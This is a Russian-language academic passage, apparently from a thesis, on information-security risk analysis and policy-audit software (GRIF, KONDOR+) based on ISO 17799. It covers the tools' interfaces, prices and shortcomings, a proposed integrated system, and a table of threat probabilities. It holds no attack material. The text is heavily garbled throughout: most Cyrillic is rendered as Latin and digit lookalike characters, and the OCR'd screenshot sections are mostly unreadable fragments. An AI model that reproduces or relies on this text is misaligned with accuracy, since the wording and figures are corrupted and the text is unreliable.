2. CooTHoweHWe ywepba M pucka

2.1 YwepB v pMCK No pecypcam
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Puc.3. Uatepdeiic mporpammuoro komruiekca I'pud. Peanuzamus otyera.
1.7. K venocrarkam ['PUD MOKHO OTHECTH CeAyIOIIEe:
- OTCYTCTBYET MPUBS3KA K OU3HEC MpoIieccaM (3arIlaHuPOBaHO B CIAEAYIONICH BEPCUN);
- HET BO3MOXXHOCTH CPaBHCHHS OTYETOB Ha PAa3HBIX 3Talax BHEIPEHUS KOMILIEKCA MEp I10
o0ecreueHunIo 3alMIIEHHOCTH (3aIUIaHUPOBAHO B CIIEAYIOLIEH BEPCUN);
- OTCYTCTBYET BO3MOXKHOCTbH J100aBUTH CHCHU(UIHBIC JJI JAHHOW KOMIIAHWUU TPeOOBaHUS

MOJIUTHUKH OE€30ITIaCHOCTH.
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1.2. IIporpaMMHBIH KOMIUIEKC YIpPaBJeHUs] TMOJUTHKON WHGOPMAITMOHHOM

0e3onacHocTu komnanum - KOHJIOP+

Poccmiickas kommanusi Digital Security paspabotama mOporpaMMHBIA — MNPOIYKT
KOHAOP+, no3somstomuii criennanuctam (M T-menemxepam, oduiiepam 0€30MacCHOCTH)
NPOBEPUTHh TMOJUTHKY HMHPOPMAIIMOHHOM O€30MacHOCTH KOMIIAHUKW Ha COOTBETCTBHE

TpeOOBAHUIM MEXAYHAPOIHOTO cTanAapTa 6ezonacHoctu ISO 17799.

Pa3zpabotannsiii nporpammubiii komruieke KOHJIOP+ Bkitowaer B cebst Oosee JBYXCOT
BOIIPOCOB, OTBETHB Ha KOTOPbIC, CHEIUATUCT MOJIy4aeT MOJPOOHBIM OTYET O COCTOSIHUHU

CYHIGCTBYIOHIGﬁ ITOJINTHUKH 6630H3CHOCTI/I, a4 TaK KC MOIOYJb OICHKH YPOBHSI PHCKOB

cootBeTcTBUs TpeboBaHusim ISO 17799 [3].

[Tocne peructpanuu nojab30BaTENb MOIYyYaeT BOZMOKHOCTD, BEIOPATH COOTBETCTBYIOIIHI

pazaen ctanaapta ISO 17799 u oTBeTUTH Ha BOIPOCHI.

|
E3 Koraop+ - C:APROGRAM FILES\DIGITAL SECURITYAKONDOR+ DEMO'\example. kdidema M=
Mpoexkt  Mamowe
D=E&
B ripce] D1 Mpoest | Orverei| ® DuarparmsitCraricrna | [ Ananis preree |

Orere:
DuarparmpiCratversa Offeekr [GB =
Anania packoe

Monsaosarens: IﬂerpDE AR

LomKHOCTE: |n.wuep BesonacHocTu

Pasest [Monimua tesonachoerm hd I3

HOOP +

AEMO;BENCHA

Puc.4. Untepdeiic nporpammuoro komiuiekca Konnop. Bkinaaka npoekr.
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E3 Konaop+ \PROGRAM FILESA\DIGITAL SECURITYAKONDOR+ DEMOAexample kdidemo M= E3

Mpoekr  Momowe

D=d 2

= Mpoexr [ Npoexr ] iE] D'rue'rbll L] ﬂuarpaMMbu’CTa'ruc'ruKal B Anamiz puckoa}

MNomurika GesonacHocTu (0/10] K. 6 §
%) DpranusaumonHbe mepw (15/15) dKMM 00pa30M orpererneHel 0TEeTCTBEHHEBIEe 24 0e30MNacHOCTE

CYWecTEYOT AM B KOMNaHUH $opy peCYpCOB'?
Kakue BONpOCH., CBASaHHBIE C N0
CymecTsyoT A4 B KOMNaHKU Popy
Paccmarpueaerca A Ha aTom ¢o
Paccmarpueaerca aMm Ha aToM ¢o
fAenaerca nu 0AHOR U3 NOCTaBAEH ~

HasHayeH eauHCTEEHHBIN BEICOK OKBANHPHUMPOBAHHGIRA COTPUAHHK, OTBETCTEEHHEIN 53

Paccmarpusaetca AW Ha aTom @o MHPOPMALMOHHYID GEZ0NacHOCTE Boex pecypcos (Npoueccos). OTEETCTEEHHOCTE NoATEEpKOEHa
Paccmarpusaerca aum na atom o ~ .
JnA kakA0ro pecypoa (AW NPOLECCa] HAZHAYEH OTBETCTEBEHHENN COTRYOHME U3 YMCa

NposoauTca Au na aTom dopyme i PykoECAMTENEE. PazrpaHiueHHe OTEETCTEEHHOCTH SaKPEMABHD AOKYMEHT 2bHD
Cymecreyer au 8 UC pacnpenene o

L ) Ll " oA kawaoro pecypca (MM NpoLecca] HASHAYEH OTESTCTEEHHEIH COTPYAHMK. PasrpaHHyeHHe
OnpegqeneHb N4 PECYPCHI N0 KaX0 OTEETCTEEHHOCTH 3aKPEMAEHO AOKYMEHT 3NEHO.
KaKumM o6pazomM onpegeneHs OTE ~ 3
ra AnA kakaoro pecypoa (MM NPoLscca) HaZHAUEH OTBETCTEEHHEI COTPYAHME - CNELHANHET No

YUWECTBYET MW AN5 KaXA0rD pect MHEOPMELHOHHOR S230nacHocTH, PasrpaHiyeHie OTEETCTEEHHOCTM SaKpEMAEHD
MNpu BHeapenuu HosoR UC Boinonr &
[' * PasrpaHMUEHME OTBETCTEEHHOCTH 34K PENNEHD O0KYMEHTANEHD

POBEPAITCA AH Kol

YnpaeneHue pecypcatad [0/7]
EesonacHocTe nepconana [0411)
P uzmueckan desonacHocte [0/47)
HNpaBneHHE KOMMYHMEALMAMA W NPOLECCa
+- Kourpone pocryna [37/37)

HenpepeieHoCcTE BE8AEHHA SHsHeca [0/23)
CoOTEETCTEME CHETEME! TREGOEaHWAR [0/2]
PaspatioTka cucrer [0/40]

+- OTeTel

+- Quarpammel/CTatHeTHrES

- AHANHE PUCKOE
T ‘/ MpUHATE oTEET o |
[l | Bl

Puc.5. Untepdeiic mporpammuoro komruiekca Konmop. Beibop pasznena cranmapra.

B otuere OTpaXaroTCiad BCC  IIOJOKCHHA  ITOJUTUKHU 6C3OHaCHOCTI/I, KOTOPbIC

COOTBETCTBYIOT CTaHIAPTY U BCE, KOTOPBIE HE COOTBETCTBYIOT.

Konpop+ - C:\PROGRAM FILESADIGITAL SECURITYAKONDOR+ DEMO\exampl.
Mpoekr  MomMows

DS &
Mpu ucnoabsoBaHue naponeﬁ,d [ Mpoekr B Orverw l [ ] .ﬂuarpaMMbl.-"ETa’rMc:TMKa] B Anams DHCKDB]
Kakue TpefioBaHHA NOAKHB Bbi
Paspewen nu nonLsoearenam .
06a3aH AW NONb30BATEAL HE C
Kakue nefcteun ana ofecneve
Kakue onpeneneHbl NpasHna Wi
Kakumu mepamu ofecneunsael
MNpouenypa exona B cuctemy [k
MNocae ycnewHoro BXo0Aa NOAbLS
Cucrema ynpaeneHusa Naponsam
P ain [6aza naHHbIX] naponen |
Mapoau no yMonuaHHo, ycraHa
KakHe Mepbli NpHHATH ANA TOrC
'_-l.ll.aanTcﬂ fIH BCE CHCTEMHLIE
OcywecTenseTca M KOHTPOAb

=1 YnpasneHue naponamu nonksosaTens d
E Bce nonesosarend LON#HB! GbITE O3HAKOMNEHE! nog, pocrnyce c TDEﬁUBGHMEM Cox
[ PeromeHayeTcA HACTPOMTE CHCTERY TaKMM 06RE30M, YTOE! MK NEPEOM BXOAE NG
[ EpemeHHble NapoiM 4omHHE MEPELAEATECA NONES0BATENAM GES0MNACHEIM 0fpasn
[A  Heofixoamo usfieraTs Nepeaadl Naponei & MCMONES0BaHHER TRETEMY ML WA HE

—--[E1 JomtHe BENOAHATECA TPEGOBaHHA GE30NACHOCTH, CEASAHHEIE & NPOBSPKON NPas ok
[ Nposepra Npas NoALS0BATENSH A0MKHA NPOBOAMTECA PErynapHa (kasakie B recs
B4 MNposepra Npas NoAbS0BATENSH, HMEIOWME OCOBEIE NPHEMASTHM A0A A0CTYNS B CH
[E Heofxoaumo perynapHo NpoBepATE A08KEATHOCTE HASHAYSHHEIX NPHEMASTWE, BO 1

—--[E1 MpH MCNoAE30BaHMM NapoNel Boe NoALS0BATENM AOMKHE! SHATE MPABKHAS PABaTE C HWr
[ *paHuTe NaponaM cTporo KoHpMaEHWMANEHD
[ Wafierats sanMcbIBaTE NAP0AM Ha BYMAre, SSAM OHW HE ¥PAHATCA B GE30MaCHIM b
E  pW KOMNPOMETAUMK [P NAWEHMM WM NOG0SPEHUM Ha PA3TNAWEHME Napona) He
[E Brifupare kauecTBeHHEIE Naponu

I'ImeIall.HaH CHCTEMA MOXET. . o
—1--[#  Ka4scTBEHHEIM NapoAEt CUMTAETCA NApoAk, YGO0BNETBOPAILME CrIELMANEHEIM YSAOBHA
Kakumu cnocofiamMu orpaHuyeH
[E  Omuna napons - He Medee B cUMBONOE
Kakum ofipasom ocyuwecTensel s _
B {JEn &
Ynenaerca A4 NpH MOHUTOPHHI o o
E  Napone He AEnAeTcA NErko HASHTHEMUMPYEMON HHPOPMaLMHER
UYTo dHKCHPYETCA B XYypHane A o
[  MNapont He ABAAETCA NOBTOPAKWEHEA NOCASA0BATENEHOCTEIO KaKHA-IME0 CHIMBOS
PuUKCALHA B XYPHANE KAKHX N[ .
E Warenare NaponKy H3 PErynApHOM OCHOEBE, NP 3TOM N3pONM NPMEKMNEr MPOEAHHEBR
KakHe nonuiTkH HEABETOPH3OBAl . o
[ WarenaTe 3a0aHHEI AAMMHHCTPATOROM BPEMEHHEIN NAP0E NP NEPEOM e BXOd
Kakue cucTeMHbe npegynpexg o
b1 Monesoeatenam sanpew asToA HCNoESOBATE SETOMATHYECKME BXOL B CHCTEMY W MMM
Kakue TpefioBaHuna GesonacHol .
0 [ Monesoeatens ofiasaH He COOBLATE APYTHM NOAE3OEATENAM AMYHEI NaPOAk, HE PErvc
H A . -
a —--[#1i DfopyaosaHie Nonbs0BaTENel, 0CTABAASMOE G835 NPMCHMOTRE A0MHHO YAOBNETBOPATE T
OnpeneneHs M NpaBHAa AOCT!
§ [ 3aEepwaTh SKTHEHUKD CECTHIO NEPE TeM, KaK OTAYMHTECA O 050PUIOBaHMA, 33 Wi
HenpepelEHOCTE BRAeHWA GusHeca (0420 i
[ OfasarensHo 33BEPWATE COBAMHEHHE C CEPEEPOM MO OKOHYEHWM PaBaTE! G HUM, &
CoOTBETCTEME CHCTEME! TRESOEAHMAR [ N
— [ Ofecneumeare GezonacHoCTE PaGouMy CTAHUWME W TERMUHAN0E NYTer GA0KHPOEaH

Pazpatiorra cucte [0/40 -
7 (0740) —1--[E1i Heofxoammo onpeaenHTs NPaBHAa HENoAE30BAHHA CETEEEIX CAYHKE W CEPEHCOE f

-+ OT4eTEl hd — e e e
[l 4] |
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Pucynok.1.6. UaTepdetic mporpammuoro komriekca Konmop. Peanuzamus oryera.

K nambonee BaKHBIM DJIEMEHTAM IOJUTHKH O€30IMaCHOCTH JaroTCd KOMMCHTApUHU H

PEKOMCHAAIINN SKCIICPTOB.

Mpoekr Mool

==l

==

Heanerca au oAHoO!

Paccmarpueaerca

Paccuarpusaetca
-~ NpoBoAKWTCA M Ha
~ CYymecTsyeT A4 B ¥
-~ Onpeaenesbl AM pe
- Kakum ofipasom or
- Cymectsyer nu an
- Npu BHeApeHun Ho
. MposepawoTcs au B
= YnpaBneHue pecypcal
i MNMpousBoaUTCA AH |

HuBenTapusauun k
- HuBenTapusauus K
- HHBEHTApH3auuA K
-~ [pOBOAWTCA M HHI
~ KnaccudHuuposan
- KaxHe neAcTeua pr

E30NACHOCTE MEpCoHaN:
PUsHIECKan BE50NacHOC
NPABNEHHE KOMMYHIK AL
OHTPOAE focTyna (0437]

+- Paspafiotka cuctem (0440
TYETE

Nosauruka GesonacHol
DpraHu3auHoHHbIE MEe
Unpaenexue pecypcar

- BesonacHocTs nepcaHan:

- Puzmuenkan fesanacHos
i YnpasneHie KOMMYHIKAL
- Konmpone gocuna

- PaspafioTka cHCTEM
- Iuarpartl CTarucTika
+-AHANHS PHCKOE

KV

Paccmarpusaerca = |

"l

(i} !'Ipueml iE] Dwe‘rbli @ Nuarparme/Crariciea O Ananus puckos

=3

4]

- Ynpaenenue pecypcamu

BHICOKMIA YPOBEHL PHCKOB
E MNonuruka GesonachocTu
BMECTE © NOnMTHR 0 BES0NACHOCTM ADMKEH GbiTh M30aH NEPENEHE CONJTETEYIWLMK A0KYMEHTOR [MONDHEHM, PEM 1SMEHT0B, MHOTDYKUME]
[Ei DpraHusauMoHHbIE MEPHI
=] JonseH cywecTEOBATE POpYH N0 KOOPAWHAWHH BONPOCOE, CEASAHHLIX C BHEAPEHMEN CDEACTE 0BECMENEHHA MHPOPMALMOHHON GE30MacHOCTH, Ue
[E MNoanepwadie & 0praHuUsawAm " ATMOCPEDE" MHPOPMAUMOHHO GE30NaCHOCTH, B Y3CTHOCTH, PEMYNARHOE HHPOPMHPOBSHWE MEPCOHANE N0 3

EYI0LMIH 4ACTAMK GUCTEME.

KOoMMEHTaPMM K TpebosaHMio cTaHaapTa ISO 17799

B A0MKHE! SETE PErNEMEHTHROBAHE! CABLYIOWIME 08F

4.1.1 Cozpammie dropyma no uedopMarmposHoil de3onacHocTH

3Ta peXcMeHMAITHA cTAHAApTA NpefHasHATEHA, IPEKE BOETO, LA
HPYHIHEE KOMOAHEH, B KOTOPHX OPOLECT HIMEHEHHA

HHPOP MAIHOHHELX TEXHONOTHE ABNACTCA IOCTOAHHEIM, B HETD
EOBIEYEHe DONBIICE KOMHAECTES MoAeH, T0sTOMY Tak BAKHS
[IPEAYCMOTPETE MEXAHHIM, IpENOCTABIAONHE HM BO3MOKHOCTE
noctoaHHors obmenua Cosganue gopyma oo EHGOPMalHOHHOR
Ses0MACHOCTH MOSE OIHT 0BECIEYHTE COOTEETCTEYIOIYES
KOOPSHHEALHIO BCETO KOMILIEKEA BOOPOCoE 00 0bECIIEYeHED
undopmanroHoR besonackooTH H u3bexars npoblen, CBMANHEX ©
HELOCTATOIHOA HEOpMEPOBAHHOCTEIC BOBNEIEHHEY B IPOLECT
obecnedeHHA Ge3oMacHOCTH NALL

B OfECNEYEHHA HH$OPMALMOHHOIR BE30MacHOCTH, LE
JHOHHOA BE30MacHOCTH EHYTPH OPraHHZauqH
HOCTEHD SHAMME PHCKOE, KNSCCHEUEAULHA N0 YPOEHS
M B CYWECTEYIOWWS CHCTEMER] W KOODAMHALWA BHEL
e

B A0UTKHE! GBTE PEFASMEHTHROEaHE! CREYHILIWE 8

E L ~CP CHpoBaTE B OHECNEYEHHA HHPOPMALWOHHON GE30NACHOCTH, UWE
“oo[E DBBcneueHWe OGASATENBHOCTM YBT3 BONPOCOE WHPOPMALMOHHON G830MACHOCTM NPH CTPATErYBCKOM W ONEPATHEHOM MNAHHPOB3HWW

-1 MHBEHTApMSaUMA PECYPCOE A0MKHA METh MecTo. TomkHs! GbTb DNPELENEHB 1 NEPEUCAEHLL
: E TpOrpamMtHBIE PECYPCE (MPMAMKEHIA, ONEPALMOHHBIE CHETEMB! H CHETEMHOE NDOMHANMMHDE DGECTEYEHUE, CDEACTES PaspatioTkmW)
=--E1i Bee pecypchl A0mkHb SbTE KASCCHPHUKMPOBAHE! N0 CTENEHW BawHOCTI, [LAA KakAoro KN30Ca A0THHE! GETE PEMNaMEHTHPOEAHE! CASIYOWME 4ef
L@ Nepenava NouToil, $aKCOM, 3ASKTPOHHON NONTa
oo[B Tepenaya ronocom, BKAHEA MOSHIEHEIE TENEPOHS, FONOCoBY NouTy

| i

Puc.8. Untepdeiic mporpammuoro komriekca Konmgop. Kommenrapuu.

[lo »xemaHuiO crnenHanucTa, padOTAlOUIEro C MNPOrpaMMOM, MOKET ObITh BbIOpaHa
TeHepaIus oT4eTa, HalpuMep, Mo KAKOMY-TO OJJHOMY WJIM HECKOJIBKUM pas3ziesiaM CTaHAapTa
ISO 17799, o6mwmii moapoOHBI OTYET C KOMMEHTApHUSMU, OOIIMI OTYET O COCTOSHUU
MOJIUTUKK O€30MacHOCTH 0e3 KOMMEHTApUEB /I MPECTaBICHUS PYKOBOACTBY M JIpYyTHE.

Bce BAapPHUAHTBI OTYCTOB JJIA OobIIEH HarB1iTHOCTHU COIIPOBOXKIAAIOTCA JUarpaMMaMU.
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Puc.9. Unatepdetic mporpammuoro komruiekca Konnmop. Hactpoiika oTdeTa.

Kpome Toro, KOHIOP+ naetr BO3MOKHOCThH CIELUATIMCTY OTCJIEKHUBATH BHOCHMbBIC Ha
OCHOBE BBIJJaHHBIX PEKOMEHIAIMI W3MEHEHUs B TOJUTUKY O€30MacHOCTH, TMOCTETIEHHO
NPUBOJL €€ B TIOJIHOC COOTBETCTBHE C TPEOOBAaHUSIMH CTaHAApTa, a TakKKe HMETh
BO3MO>KHOCTD MIPEACTABIIATh OTYETHl  PYKOBOJICTRY, CBUJICTEJILCTBYIOIINE 0
1eaecoo0pasHoCcTd M OOOCHOBAHHOCTH HMHBECTHIIMH B oOecrieueHue 0e30MacHOCTH

UHGOPMAITMOHHON CHCTEMbI KOMITAaHUH.

Croumocts npoaykra coctaBisier 225 nomt. (KOHIAOP) u 345 gonn. (KOHJOP+ c

MOJIyJIEM aHaJIn3a PUCKOB 0a30BOTO YPOBHS).
K nenocrarkam KOH/IOP+ M0XHO OTHECTH:

- OTCYTCTBHE BO3MOKHOCTH YCTAHOBKHM II0JIb30BAaTEJIEM Beca Ha Kaxaoe TpeOoBaHUeE
(3amI1aHMpPOBAHO B CIEIYIOIIUX BEPCHSIX);
- OTCYTCTBHE BO3MOYKHOCTH BHECEHMS I0JIb30BATEJIEM KOMMEHTApUEB (3aIUIaHUPOBAHO B

CIEAYIONIUX BEPCUSX).
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2. Onucanue cucremsl (1a00PATOPHOI0 MPOrPAMMHOI0 KOMILIEKCA)

[Ipu pa3paboTke CUCTEMBI MpeCceOBAIUCH MHOTHE 11€JIM, OJIHA U3 HUX 3aKjIrYasach B
TOM, YTOOBI CO3/[aTh TMPOTPAMMHBIA MPOIYKT, KOTOPBIA OyJeT CHOCOOEH BBECTH
MI0JI30BATEINSI B «KYPC Ji€JIa» HE YTauBasi OT HErO HU OJTHOTO 3Tana aHaJIn3a PUCKOB.

Heob6xoaumo 06110 pa3padoTaTh MaKCUMAIbHO MPOCTOE B UCTOIB30BAHUU MPOTPAMMHOE
pelIeHre, OCHOBHAS 3a/1a4a KOTOPOTo - 1aTh BO3MOKHOCTh U T-MeHemKepy caMOCTOATENBHO
(Oe3 mpuBIIeYEHUSI CTOPOHHUX SKCIEPTOB) OLICHUTh YPOBEHb PUCKOB B MH(POPMALMOHHOM
CHUCTEME, OUEHUTh HA(PGEKTUBHOCTh CYIIECTBYIOIIEH MPAKTUKH IO OOECIICUCHHIO
0€30MacHOCTH KOMIIAHMM W ONTHUMHU3HPOBATh PACXOAbl M CPOPMUPOBATH aAJEKBATHBIN
O10/KeT Ha HHPOPMAITMOHHYIO OE30ITaCHOCTb.

Cucrema npeacTaBisieT MHTErPALMIO JABYX UAECH pealn30BaHHbIX B cucteMax Konaop u
I'pud. B mnporpaMMHOM KOMIUIEKCE aHAJIM3 PHUCKOB M TIOJUTUKH O€30MacCHOCTH
UH(POPMAIIMOHHON CHCTEMbI OOBbEIUHEHBI B OJHOM NpoaykTe. To ecTh JAaHHbIE, KOTOpbIE
3aHOCATCS JIJISl aHAIM3a OPraHU3ALMOHHBIX MEp, ONPEAEISIONMX CYIIECTBYIOMIYIO MOJUTUKY
0€30M1acHOCTH KOMIIAaHUH, MOJHOCTBIO MCIOJB3YETCs MPU aHAJIM3€ PUCKOB. DTO O3HAYAET
YTO JBE COCTABJISIOLIME YIpaBiIeHUS WHPOPMALMOHHOM O€30MacHOCThIO - TOJIUTHKA
0€30MacHOCTH M aHAJIU3 PUCKOB - HAXOJATCSA B OJTHOM MHTETPUPOBAHHOM pelieHun. Kpome
TOr0, JaHHBIA MPOAYKT MOKET HMCHOJIb30BaThCS M B YUEOHBIX ILENAX KaK BO3MOKHOCTb
U3YUYUTh Ha MPAKTHUKE METOJbl U CPEJCTBA aHAJIN3a PUCKOB M MPOBEPKH OPraHU3alMOHHBIX
Mep oOecneuyMBarOmIUX HMHPOpPMAIMOHHYI0 Oe3onmacHOCTh. biaromapst 3HAYUTENBHO
paciMpeHHoN 0a3e MUCMOJIb30BaHHBIX MoJjokeHui cranaapta ISO 17799 no cpaBHeHUIO €
Konmopom wu I'pudom B 1aHHOM cuCTeME BO3MOXKEH OoJiee TOJHBIA aHalu3
OpPraHMU3aIMOHHBIX MEP ONPEICIIAIOMINX MOJIUTHKY O€30MIaCHOCTH.

N3BecTHO, YTO CYHIECTBYIOT JIBa MOJAX0/a K aHAIM3y PUCKOB - aHAJU3 PUCKOB 0a30BOIr0O
U TOJHOTO YpOBHA. B NaHHOM cucTeMe MCIOIb30BaHbl CUIIBHBIE CTOPOHBI Pa3HBIX METOJIOB,
OMUPAIOLINXCS HA aHAJIU3 PUCKOB U HAa TpeOOBaHMsI CTaHIapTOB.

Ho kakum Obl HU OBbUT MOAXOA, TJaBHasg Mellb — (OpMUPOBaHME KOHKPETHBIX H
MPUMEHUMBIX TPEOOBaHMIA 110 OE30MACHOCTHU K HCCIIeTyeMOoi HH(POPMAITMOHHON CHUCTEME.

B cucrteme ucnonb3oBaH HamOoJiee pacHpOCTPAaHEHHBIM B HACTOSIIEE BPEMsS TOJIXOI,
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OCHOBaHHBIN Ha y4eTe Pa3IMYHBIX (PAKTOPOB BIUSIOIIMX HA YPOBHHU yIrpoO3 U ySI3BUMOCTEH.
Taxoil moaxox Mo3BoysieT a0CTParupoBaThCsi OT MAJIOCYIIIECTBEHHBIX TEXHUUECKUX JETajel,
YYECTBb HE TOJIBKO ITPOTPAMMHO-TEXHUYECKNE, HO U UHBIE ACIIEKTHI.

IIpu pabGote cuctema NPOBOJUT AHAIHW3 CYIIECTBYIOLIEH IOJUTUKHA O€30MIaCHOCTH Ha
HaJIMYUE TaK Ha3bIBaeMbIX JbIp. Eciiv UX HE ycTpaHATh, TO paHO MM MO3AHO UX OOHapyXar
«IUIOXUE TTAPHU» U BOCITOJIB3YIOTCS JJIs JOCTHKEHHS CBOMX, HE BCEra JOCTOMHBIX LENEH.

B ocobGeHHocTH OTMETMM, YTO JaHHAs CHUCTEMa IO3BOJSIET TAKXKE ONPEACIUTh U
HKOHOMUYECKYIO 3(PPEKTUBHOCTH CUCTEMBI MH()OPMALIMOHHON 3aLUTHI.

JIaHHBIN TPOIYKT OKAKET HE 3aMEHMMYIO IIOMOIIb OPTaHU3aLNSIM, KOTOPBIE IUIAHUPYIOT
HOJyYUTh CEpTU(UKAT HAa COOTBETCTBUE MEKIYyHApOJHOMY cTaHiapty OezomacHoctu 1SO
17799, Tak Kak Npu HE BBINOJHEHUU KAKUX JIMOO TpeOOBaHUH, JHAIOTCS MOSICHEHUS - KaK U

YTO MPEANPHUHSTE.

Hu nns xoro He cekper, 4To aHaiu3 HWHQPOPMAIIMOHHBIX PHUCKOB SBJSETCS Ha
CETOIHSAIIHUMN JIeHb aKTyaJIbHOU 3a7a4eil /171 COBPEMEHHOI0 OM3HECA - MOCIEAHUE TOJIbl Ha
KaKJI0M KOH(MEPEeHIMHU 10 MH(POPMAIMOHHON 0e30MmacHOCTH B POCCHU MOXKHO YCIBIIIATh

CCPBE3HLIC JOKIIAJAbl HA JaHHYIO TEMY.

AHanu3 HHQOPMAMOHHBIX PUCKOB - ATO MPOLIECC KOMILJIEKCHON OLIEHKH 3alIUIIEHHOCTU
UHPOPMAIIMOHHON CHUCTEMBI C TMEPEXOJAOM K KOJMYECTBEHHBIM WM KauyeCTBEHHBIM
nokasareyiiM pUcKoB. [Ipu 3TOM pHCK - 3TO BEpPOSTHBIM yiepO, KOTOPBIM 3aBHCHUT OT
3alMIIEHHOCTH  cucTtembl. llox  ympaBiieHMeM  puckamu  IOHHMAETCA  IPOLECC
UACHTU(UKAIIMM W  yMEHBLIEHUS PUCKOB, KOTOpPblE MOTYT BO3JEHCTBOBAaThH Ha
MH(OPMAIMOHHYIO cUCTeMy. Pe3ynbpTaThl aHaidu3a MCHOJB3YIOTCS MPHU BBIOOpPE CPEICTB
3alUThl, OLIEHKE 3(PPEKTUBHOCTH CYIIECTBYIOUIMX W MPOEKTUPYEMBIX CHUCTEM 3aIUThI

uHpopmaruu [3].

Wrak, n3 ompenesieHUss CIEAyET, YTO Ha BBIXOJE AITOPUTMA AHAIN3a PUCKA MOXKHO
HOJIyYUTh JIMOO KOJMYECTBEHHYIO OLIEHKY PUCKOB (PUCK M3MepsieTcsl B J€HbIax), JuoOo -

KaueCTBEHHYIO (YPOBHH PUCKA; OOBIYHO: BHICOKUH, CPETHUHN, HU3KHIA).

KpOMe TOI'0, aHAJIM3 PHUCKOB TAKXC OTINYACTCA II0 HCIOJb3YyCMOMY IIOAXOOY, 0OBIYHO
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YCIIOBHO BBIJICIIACTCS aHAIM3 PUCKOB 0a30BOT0 W IOJIHOTO YpoBHS. J[isl aHanmm3a pHCKOB
0a30BOI0 YPOBHS JOCTATOYHO IIPOBEPUTH PUCK HEBBIMOIHCHHS TPEOOBAHUI OOIIEITPHUHITOIO
crangapta O6e3zonacHocTd (00braHO ISO 17799) ¢ momydeHueM Ha BBIXOJE KaueCTBEHHOU

OLICHKU YPOBHSI PUCKOB (BBICOKUM, CPETHUNA, HU3KUI).

OCHOBHOE OTJIMYHME MOJHOI'O aHaJlM3a PUCKOB OT 0A30BOr0 COCTOUT B HEOOXOJIHMMOCTH
MIOCTPOEHUS MOJIHON MOJIENH aHATN3UpyeMoil HHPOPMAIIMOHHOM cucTeMbl. Moens AomKHA
BKJIFOUATh: BUJIbI IEHHOW MH(OpMAaIK, OOBEKTHl €€ XpaHEHUs; IPYMIbl M10JIb30BaTENEH U
BUJBl JOCTyna K HMH(pOpMalMu; CpeAcTBa 3aIlUMThl (BKIKOYas MOJUTHKY O€30IacHOCTH),

BHJIbI YTPO3.

Jlanee mocie MOAEIUPOBAaHUS HEOOXOJUMO MEPEUTHU K ATaly aHajIu3a 3allUIIeHHOCTU
MOCTPOCHHOU MOJIHOW MOjiesId MH(DOPMAIIMOHHON cUcTeMbl. U 3/1ech MBI TonajaeM B LEIbIi
IJIACT TEOPETUUECKUX M MPAKTUUECKUX TIPOOJIEM, C KOTOPBIMH CTAJIKUBAIOTCS pa3pabOTUUKU
QITOPUTMOB aHaJIM3a PUCKa MOJHOrO ypoBHA. [Ipexkne Bcero, xkak aiaropurmuuecku (6e3
AKCIEPTA) OLEHUTHh 3alIUIIEHHOCTh UH(GOPMAIMOHHON CHUCTEMBI (3aMETUM, YTO peyb HE
UJET O CKAaHUPOBAHUM KOHKPETHBIX VYSA3BUMOCTEM B KOHKPETHOM IPUMEHSIEMOM
nporpaMMHoM obOecrnieuenun)? Crnenyromias mpobiieMa - Kak alrOPUTMHUUYECKU ONPEIeTUuTh
BCE KJIACCHl YSA3BHUMOCTEM B CHUCTEME 3aIUATHI aHanu3upyemoin cucrembl? Kak oneHuTh
yiep0 OT BCeX CYUIECTBYIOLUX B CUCTEME YIpo3 0€30MacHOCTH U KaK TI0OUThCS aJleKBaTHOM
OIIEHKM COBOKYIHOIo ymiepba Mo BCeM Kiaccam yrpo3 (HeoOXoauMo u30exaTh
U30BITOYHOTO CyMMHpOBaHus yiiepooB)? W camas crnokHas mnpoOiieMa: PUCK KaTeropus
BEPOSATHOCTHAsI - KaK OLEHUTh BEPOSITHOCTh pEAM3allMd  MHOXKECTBA  Yrpo3

UH(OPMAIMOHHON CUCTEMBI?

Becb Bbllieyka3zaHHBIM KOMILUIEKC MpOOJeM HEOOXOAMMO pELIUTh MpPH CO3JaHUU
anroput™Ma. KoHEYHO, MOXXHO NPEIJIOKUTH MOJIH30BATEII0 CAMOCTOATENIBHO  BBECTH
BEPOSITHOCTh peajn3allii yrpo3 WK OLEHUTh €€ YPOBEHb, Kak B aniroputme RiskWatch. Ho

TOTrJa MBI CBCICM HAa HCT BCCh ITPOLCCC aHAJIM3a.

HpI/I MOoACUYCTC BCPOATHOCTHU pCaiM3allikd TCX WM HWHBIX YI'PO3 MOJKHO OIICPCTHCA Ha

HEKOTOPbIE CTATUCTUYECKHUE JAaHHBIE [S].
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Tabmuma 1 Yrpo3sl uHGpOpMAITMOHHOM 0€30MMaCHOCTH

Yrpo3bl BeposaTtHocTh
TIPOSIBIICHHUS
Heb6pexHocTh 0,188
[TupaTcTBO 0,166
Hapymenue 1iemocTHoCTH 0,159
VYTeuka TaHHBIX 0,159
"[llytku" Ham KOITETaMU 0,150
Hab6nronenue 3a n3mydeHueM 0,133

VYMpllIeHHBIe  TOBpekaAeHUss AaHHbIXx 1|0,129

nporpaMm

Hapymenue ayreHTugukanuu 0,129
ITeperpy3ka 0,119
HenpaBunbHas MapupyTu3anus 0,106
ArmmmapaTtabie cOon 0,090
Uckaxenne 0,080
CerteBble aHAIM3ATOPBI 0,074
MoI11eHHUYECTBO 0,058
[Toxxaps! u Apyrue cTUXUHBIC OeICTBUSA 0,043
[Monmor 0,033
"Jlornueckue 60MOBI" 0,032
Kpaxa 0,032
brnokupoBanue nHpopmaruu 0,016
"IToTaliHble XObI U JTa3eUKU" 0,010

Ho Tak kak puICK - 3TO BEpOSTHBIA yIIepO, KOTOPBIM 3aBUCUT OT 3allUIICHHOCTH

CHUCTCMBI, TO ITOJTYYCHHBIC JaHHBIC 6y,)IyT HC TOYHBIMU.

N3-3a TOro 4To Ha OLIEHKY 3alIMIIEHHOCTH UH(OPMAITMOHHONW CUCTEMBI CYIIECTBEHHBIM

06p2130M BJIMAKOT OPraHU3allMOHHBIC ACIICKTBI, TO IIPH aHAJIN3C CYHICCTBYIOHIGI‘/JI 341U THI
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OyJileM ONUpaThbCsi Ha BOMIPOCHUK.

Tak KaKk Ha OJIMH U TOT XK€ BUJ HH(POPMAIIMU MOXKET OBITh HAIIPABIICHO Cpa3y HECKOJIBKO
yIpo3, TO HeOOXOAMMO OyIEeT y4eCTh TaK K€ U CyMMapHBIN yiiepo.
HeoOxogumo cMopenupoBaTh JOCTYIIBI BCEX TPYMI TOJB30BATEICH KO BCEM BHIAM
nH(pOpMaIMK U B 3aBUCUMOCTH OT BHJA JIOCTyIa M BHJa pecypca paccMaTpUBaTh KOHEUHOE
